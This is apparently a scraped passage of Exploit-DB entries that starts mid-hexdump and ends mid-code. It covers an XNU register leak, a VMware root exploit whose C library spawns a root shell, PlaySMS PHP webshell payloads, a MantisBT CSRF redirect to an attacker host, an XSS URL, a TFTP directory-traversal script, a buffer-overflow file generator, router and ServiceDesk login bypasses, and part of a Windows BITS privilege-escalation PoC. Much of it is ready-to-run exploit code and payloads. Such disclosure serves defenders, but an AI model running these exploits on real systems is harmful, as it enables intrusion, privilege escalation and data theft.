00000aa0  5d ac 33 00 80 ff ff ff  b0 bf 08 77 80 ff ff ff  |].3........w....|

The addresses on the left are unslid kernel text pointers; the
addresses on the right are valid kernel stack pointers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42047.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149

The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
binaries in compatibility mode. 32-bit binaries use partly separate
syscall entry and exit paths.

To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
turn calls return_from_trap, which is implemented in
osfmk/x86_64/idt64.s.

return_from_trap() normally branches into return_to_user relatively
quickly, which then, depending on the stack segment selector, branches
into either L_64bit_return or L_32bit_return. While the L_64bit_return
path restores all userspace registers, the L_32bit_return path only
restores the registers that are accessible in compatibility mode; the
registers r8 to r15 are not restored.

This is bad because, although switching to compatibility mode makes it
impossible to directly access r8..r15, the register contents are
preserved, and switching back to 64-bit mode makes the 64-bit
registers accessible again. Since the GDT always contains user code
segments for both compatibility mode and 64-bit mode, an unprivileged
32-bit process can leak kernel register contents as follows:

 - make a normal 32-bit syscall
 - switch to 64-bit mode (e.g. by loading the 64-bit user code segment
   using iret)
 - store the contents of r8..r15
 - switch back to compatibility mode (e.g. by loading the 32-bit user
   code segment using iret)

The attached PoC demonstrates the issue by dumping the contents of
r8..r15. Usage:

$ ./leakregs 
r8 = 0xffffff801d3872a8
r9 = 0xffffff8112abbec8
r10 = 0xffffff801f962240
r11 = 0xffffff8031d52bb0
r12 = 0x12
r13 = 0xffffff80094018f0
r14 = 0xffffff801cb59ea0
r15 = 0xffffff801cb59ea0

It seems like these are various types of kernel pointers, including
kernel text pointers.

If you want to compile the PoC yourself, you'll have to adjust the
path to nasm in compile.sh, then run ./compile.sh.

This bug was verified using the following kernel version:
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan  9 23:07:29 PST 2017;
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42046.zip
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142

This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.

The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:


~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
	if (strcmp(program_invocation_short_name, "vmware-vmx"))
		return;

	uid_t ruid, euid, suid;
	if (getresuid(&ruid, &euid, &suid))
		err(1, "getresuid");
	printf("current UIDs: %d %d %d\n", ruid, euid, suid);
	if (ruid == 0 || euid == 0 || suid == 0) {
		if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
			err(1, "setresxid");
		printf("switched to root UID and GID");
		system("/bin/bash");
		_exit(0);
	}
}

/*
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vmware_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware


Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:


/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit# 


I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.

Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
*/
HireHackking 
# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
  
1. Description
 
Code Execution using import.php

     We know import.php accept file and just read content 
    not stored in server. But when we stored payload in our backdoor.csv 
    and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

    In My case i stored my vulnerable code  in my backdoor.csv files's Name field .

    But There is one problem in execution. Its only execute in built function and variable which is used in application. 

    That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name												Mobile	Email	Group code	Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>	22			

--------------------MY FILE CONTENT END HERE-------------------------------


 
 For More Details : www.touhidshaikh.com/blog/

 For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE

    
2. Proof of Concept
  
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
 
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list


And Upload my malicious File.(backdoor.csv)
and change our User agent.

 
 This is Form For Upload Phonebook.
----------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST>
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file for phonebook entries') . "</p>
<p><input type=\"file\" name=\"fnpb\"></p>
<p class=text-info>" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "</p>
<p><input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------
 

 
-------------Read Content and Display Content-----------------------
 
   case "import":
		$fnpb = $_FILES['fnpb'];
		$fnpb_tmpname = $_FILES['fnpb']['tmp_name'];
		$content = "
			<h2>" . _('Phonebook') . "</h2>
			<h3>" . _('Import confirmation') . "</h3>
			<div class=table-responsive>
			<table class=playsms-table-list>
			<thead><tr>
				<th width=\"5%\">*</th>
				<th width=\"20%\">" . _('Name') . "</th>
				<th width=\"20%\">" . _('Mobile') . "</th>
				<th width=\"25%\">" . _('Email') . "</th>
				<th width=\"15%\">" . _('Group code') . "</th>
				<th width=\"15%\">" . _('Tags') . "</th>
			</tr></thead><tbody>";
		if (file_exists($fnpb_tmpname)) {
			$session_import = 'phonebook_' . _PID_;
			unset($_SESSION['tmp'][$session_import]);
			ini_set('auto_detect_line_endings', TRUE);
			if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) {
				$i = 0;
				while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\\')) {
					if ($i > $phonebook_row_limit) {
						break;
					}
					if ($i > 0) {
						$contacts[$i] = $c_contact;
					}
					$i++;
				}
				$i = 0;
				foreach ($contacts as $contact) {
					$c_gid = phonebook_groupcode2id($uid, $contact[3]);
					if (!$c_gid) {
						$contact[3] = '';
					}
					$contact[1] = sendsms_getvalidnumber($contact[1]);
					$contact[4] = phonebook_tags_clean($contact[4]);
					if ($contact[0] && $contact[1]) {
						$i++;
						$content .= "
							<tr>
							<td>$i.</td>
							<td>$contact[0]</td>
							<td>$contact[1]</td>
							<td>$contact[2]</td>
							<td>$contact[3]</td>
							<td>$contact[4]</td>
							</tr>";
						$k = $i - 1;
						$_SESSION['tmp'][$session_import][$k] = $contact;
					}
				}
 
------------------------------code ends ---------------------------
 

Bingoo.....

 
*------------------My Friends---------------------------*
|Pratik K.Tejani, Rehman, Taushif,Charles Babbage  |
*---------------------------------------------------*
HireHackking 
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0


MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.



Vulnerability Type:
========================
CSRF Permalink Injection



CVE Reference:
==============
CVE-2017-7620



Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.

Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270

# Check for URL's pointing to other domains

if( 0 == $t_type || empty( $t_matches['script'] ) ||
	
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {

	

    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';

}



# Start extracting regex matches

$t_script = $t_matches['script'];       
$t_script_path = $t_matches['path'];




Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>

OR

<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: transform2secure@gmail.com
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------

3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
HireHackking 
[+] Credits: John Page aka HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec            
 


Vendor:
====================
www.secure-bytes.com



Product:
=====================
Secure Auditor - v3.0

Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-9024



Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.




Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                #TFTP Read 
PAYLOAD += FILE+"\x00"              #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson  (albatross@loftwing.net)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage: 
#    Open the project template generated by this script.
#    If a readable address is placed in AVread, no exception will be thrown
#    and a return pointer will be overwritten giving control over EIP when
#    the function returns.

header  = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'

junk1  =   'D'*10968
EIP    =   'A'*4            # Direct RET overwrite
junk2  =   'D'*24
AVread =   'B'*4  			# address of any readable memory
junk3  =   'D'*105693

buf = header + junk1 + EIP + junk2 + AVread + junk3

print "[+] Creating file with %d bytes..." % len(buf)

f=open("exp.std",'wb')
f.write(buf)
f.close()
HireHackking 
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.

Its More Dangerous when your Router has a public IP with remote login
enabled.

For More Details : www.touhidshaikh.com/blog/

IN MY CASE,
Router IP : http://192.168.100.1



Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm

Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")



Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------

POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send


--------------------END here------------------------

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.




-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------
HireHackking 
 Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
# Date: 19-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   

Remote Code Execution in Admin Log. 
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
Using this functionality we can exploit RCE in Whose Online page.

When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)    

For More Details : www.touhidshaikh.com/blog/

   
2. Proof of Concept
 
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)

3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )



setting parameter in online.php
*------------------online.php-----------------*

$users = report_whoseonline_subuser();
foreach ($users as $user) {
foreach ($user as $hash) {
$tpl['loops']['data'][] = array(
'tr_class' => $tr_class,
'c_username' => $hash['username'],
'c_isadmin' => $hash['icon_isadmin'],
'last_update' => $hash['last_update'],
'current_ip' => $hash['ip'],
'user_agent' => $hash['http_user_agent'],
'login_status' => $hash['login_status'],
'action' => $hash['action_link'],
);
}
}
*-------------ends here online.php-----------------*




Visible on this page: report_online.html
*------------report_online.html-----------*
<loop.data>
<tr class={{ data.tr_class }}>
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
<td>{{ data.login_status }} {{ data.last_update }}</td>
<td>{{ data.current_ip }}</td>
<td>{{ data.user_agent }}</td>
<td>{{ data.action }}</td>
</tr>
</loop.data>
*------------Ends here report_online.html-----------*


 
 


*------------------Greetz----------------- -----*
|Pratik K.Tejani, Rehman, Taushif  |
*---------------------------------------------------*

  _____           _     _     _ 
 |_   _|__  _   _| |__ (_) __| |
   | |/ _ \| | | | '_ \| |/ _` |
   | | (_) | |_| | | | | | (_| |
   |_|\___/ \__,_|_| |_|_|\__,_|
                                
Touhid SHaikh
An Independent Security Researcher.
HireHackking 
Title: ManageEngine ServiceDesk Plus Application Compromise
Date: 19 May 2017
Researcher: Steven Lackey (ByteM3)
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: Service Pack 9241 – Build 9.2
Vulnerability Impact: High
Published Date:
Email: bytem3 [at] bytem3.com <http://cyberdefensetechnologies.com/>

Product Introduction
===============

ServiceDesk Plus is ITIL-ready help desk software with integrated Assetand
Project Management capabilities.

With advanced ITSM functionality and easy-to-use capability, ServiceDesk
Plus helps IT support teams deliver

world-class service to end users with reduced costs and complexity. It
comes in three editions and is available

in 29 different languages. Over 100,000 organizations, across 185
countries, trust ServiceDesk Plus to optimize

IT service desk performance and achieve high end user satisfaction.

Source: https://www.manageengine.com/products/service-desk/

Vulnerability Information
==================

Class: Backdoor
Impact: Account and Application Compromise
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A


Vulnerability Description
===================

A valid username can be used as both username/password to login and
compromise the application through the “/mc/” directory which is the
‘mobile client’ directory. This can be achieved ONLY if Active
Directory/LDAP is being used.

This flaw exists because of the lack of password randomization in the
application version 9.0 when a user is entered into the application, thus
the application assigns the password as the username. The flaw can then be
exploited by logging into the application through the “/mc” directory and
then backing out of the “/mc” directory by deleting it from the URL thus
positioning you in the main application with the authority of the user you
logged in as. (Help locating a valid username can come from another
discovered vulnerability in this same version of software here:
https://www.exploit-db.com/exploits/35891/ - with credit to Muhammad Ahmed
Siddiqui for discovering how to enumerate usernames)


Proof-of-Concept Authenticated User
============================

An attacker can use the following URL to login to the mobile client with
any workstation:

http://server/mc/

Use the discovered username in both the username and password fields.
Ensure the “Is AD Auth” box is checked and click login.


Once logged in, remove “/mc/” from the URL and you will be presented with
the full application and the authorities of the user you just logged in
with.


You can now continue to look for usernames inside the application until a
user with administrative privileges has been discovered and can compromise
with administrative authority. Please note, ServiceDesk Plus has the
ability to ‘scan’ machines on any available network it can see, meaning,
system accounts are typically entered into the application to keep an
inventory of machines that ServiceDesk can manage. It is possible to
compromise not only the hosting machine for this application, however, the
entire network as I did on the Penetration Test where I discovered this
‘backdoor’.


Vendor Response
=======

I have contacted the vendor and they advised they have fixed this
particular issue with a new service pack ‘9241’, however, this insanely
vulnerability is still out there, as this scenario has not been published
as of yet, other than the vendors statement on their 9.2 Release readme
webpage (https://www.manageengine.com/products/service-desk/readme-9.2.html)
and email to me here:


“FIX: PATCH *SD-61664 :* Based on Database configuration, an option to set
the LocalAuthentication password as Random or predefined, for the users
added through ActiveDirectory (AD), LDAP, Dynamic user addition, users
created via e-mail Requests has been provided. Make sure that the
notification under Admin >> Notification Rules >> Send Self-service login
details is enabled before performing the import so that LA user details
will be notified to users through email.”


Timeline
=======

18-Apr-2017 – Notification to Vendor
19-Apr-2017 – Response from Vendor
31-Jan-2017 – Vulnerability fixed by Vendor
19-May-2017 – Still no clear publication on this backdoor
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1107

Windows: COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP
Platform: Windows 10 10586/14393 not tested 8.1 Update 2
Class: Elevation of Privilege

Summary:
When accessing an OOP COM object using IRemUnknown2 the local unmarshaled proxy can be for a different interface to that requested by QueryInterface resulting in a type confusion which can result in EoP.

Description:

Querying for an IID on a OOP (or remote) COM object calls the ORPC method RemQueryInterface or RemQueryInterface2 on the default proxy. This request is passed to the remote object which queries the implementation object and if successful returns a marshaled representation of that interface to the caller. 

The difference between RemQueryInterface and RemQueryInterface2 (RQI2) is how the objects are passed back to the caller. For RemQueryInterface the interface is passed back as a STDOBJREF which only contains the basic OXID/OID/IPID information to connect back. RemQueryInterface2 on the other hand passes back MInterfacePointer structures which is an entire OBJREF. The rationale, as far as I can tell, is that RQI2 is used for implementing in-process handlers, some interfaces can be marshaled using the standard marshaler and others can be custom marshaled. This is exposed through the Aggregate Standard Marshaler. 

The bug lies in the implementation of unpacking the results of the the RQI2 request in CStdMarshal::Finish_RemQIAndUnmarshal2. For each MInterfacePointer CStdMarshal::UnmarshalInterface is called passing the IID of the expected interface and the binary data wrapped in an IStream. CStdMarshal::UnmarshalInterface blindly unmarshals the interface, which creates a local proxy object but the proxy is created for the IID in the OBJREF stream and NOT the IID requested in RQI2. No further verification occurs at this point and the created proxy is passed back up the call stack until the received by the caller (through a void** obviously). 

If the IID in the OBJREF doesn’t match the IID requested the caller doesn’t know, if it calls any methods on the expected interface it will be calling a type confused object. This could result in crashes in the caller when it tries to access methods on the expected interface which aren’t there or are implemented differently. You could probably also return a standard OBJREF to a object local to the caller, this will result in returning the local object itself which might have more scope for exploiting the type confusion. In order to get the caller to use RQI2 we just need to pass it back an object which is custom marshaled with the Aggregate Standard Marshaler. This will set a flag on the marshaler which indicates to always use the aggregate marshaler which results in using RQI2 instead of RQI. As this class is a core component of COM it’s trusted and so isn’t affected by the EOAC_NO_CUSTOM_MARSHAL setting.

In order to exploit this a different caller needs to call QueryInterface on an object under a less trusted user's control. This could be a more privileged user (such as a sandbox broker), or a privileged service. This is pretty easy pattern to find, any method in an exposed interface on a more trusted COM object which takes an interface pointer or variant would potentially be vulnerable. For example IPersistStream takes an IStream interface pointer and will call methods on it. Another type of method is one of the various notification interfaces such as IBackgroundCopyCallback for BITS. This can probably also be used remotely if the attacker has the opportunity to inject an OBJREF stream into a connection which is set to CONNECT level security (which seems to be the default activation security). 

On to exploitation, as you well know I’ve little interest in exploiting memory corruptions, especially as this would  either this will trigger CFG on modern systems or would require a very precise lineup of expected method and actual called method which could be tricky to exploit reliably. However I think at least using this to escape a sandbox it might be your only option. So I’m not going to do that, instead I’m going to exploit it logically, the only problem is this is probably unexploitable from a sandbox (maybe) and requires a very specific type of callback into our object. 

The thing I’m going to exploit is in the handling of OLE Automation auto-proxy creation from type libraries. When you implement an Automation compatible object you could implement an explicit proxy but if you’ve already got a Type library built from your IDL then OLEAUT32 provides an alternative. If you register your interface with a Proxy CLSID for PSOAInterface or PSDispatch then instead of loading your PS DLL it will load OLEAUT32. The proxy loader code will lookup the interface entry for the passed IID to see if there’s a registered type library associated with it. If there is the code will call LoadTypeLib on that library and look up the interface entry in the type library. It will then construct a custom proxy object based on the type library information. 

The trick here is while in general we don’t control the location of the type library (so it’s probably in a location we can write to such as system32) if we can get an object unmarshaled which indicates it’s IID is one of these auto-proxy interfaces while the privileged service is impersonating us we can redirect the C: drive to anywhere we like and so get the service to load an arbitrary type library file instead of a the system one. One easy place where this exact scenario occurs is in the aforementioned BITS SetNotifyInterface function. The service first impersonates the caller before calling QI on the notify interface. We can then return an OBJREF for a automation IID even though the service asked for a BITS callback interface.

So what? Well it’s been known for almost 10 years that the Type library file format is completely unsafe. It was reported and it wasn’t changed, Tombkeeper highlighted this in his “Sexrets [sic] of LoadLibrary” presentation at CSW 2015. You can craft a TLB which will directly control EIP. Now you’d assume therefore I’m trading a unreliable way of getting EIP control for one which is much easier, if you assume that you’d be wrong. Instead I’m going to abuse the fact that TLBs can have referenced type libraries, which is used instead of embedding the type definitions inside the TLB itself. When a reference type is loaded the loader will try and look up the TLB by its GUID, if that fails it will take the filename string and pass it verbatim to LoadTypeLib. It’s a lesser know fact that this function, if it fails to find a file with the correct name will try and parse the name as a moniker. Therefore we can insert a scriptlet moniker into the type library, when the auto-proxy generator tries to find how many functions the interface implements it walks the inheritance chain, which causes the referenced TLB to be loaded, which causes a scriptlet moniker to be loaded and bound which results in arbitrary execution in a scripting language inside the privileged COM caller. 

The need to replace the C: drive is why this won’t work as a sandbox escape. Also it's a more general technique, not specific to this vulnerability as such, you could exploit it in the low-level NDR marshaler layer, however it’s rare to find something impersonating the caller during the low-level unmarshal. Type libraries are not loaded using the flag added after CVE-2015-1644 which prevent DLLs being loaded from the impersonate device map. I think you might want to fix this as well as there’s other places and scenarios this can occur, for example there’s a number of WMI services (such as anything which touches GPOs) which result in the ActiveDS com object being created, this is automation compatible and so will load a type library while impersonating the caller. Perhaps the auto-proxy generated should temporarily disable impersonation when loading the type library to prevent this happening. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first. It abuses the BITS SetNotifyInterface to get a type library loaded under impersonation. We cause it to load a type library which references a scriptlet moniker which gets us code execution inside the BITS service.

1) Compile the C++ source code file.
2) Execute the PoC from a directory writable by the current user. 
3) An admin command running as local system should appear on the current desktop.

Expected Result:
The caller should realize there’s an IID mismatch and refuse to unmarshal, or at least QI the local proxy for the correct interface.

Observed Result:
The wrong proxy is created to that requested resulting in type confusion and an automation proxy being created resulting in code execution in the BITS server.
*/

// BITSTest.cpp : Defines the entry point for the console application.
//
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>

#pragma comment(lib, "shlwapi.lib")

static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;
}

GUID CLSID_AggStdMarshal2 = { 0x00000027,0x0000,0x0008,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
GUID IID_ITMediaControl = { 0xc445dde8,0x5199,0x4bc7,{ 0x98,0x07,0x5f,0xfb,0x92,0xe4,0x2e,0x09 } };

class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknownPtr _unk;

	~CMarshaller() {}

public:

	CMarshaller(IUnknown* unk) : _ref_count(1)
	{
		_unk = unk;
	}

	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{
		*ppvObject = nullptr;
		printf("QI - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown*)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{
		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{
		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}

	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{
		*pCid = CLSID_AggStdMarshal2;
		return S_OK;
	}

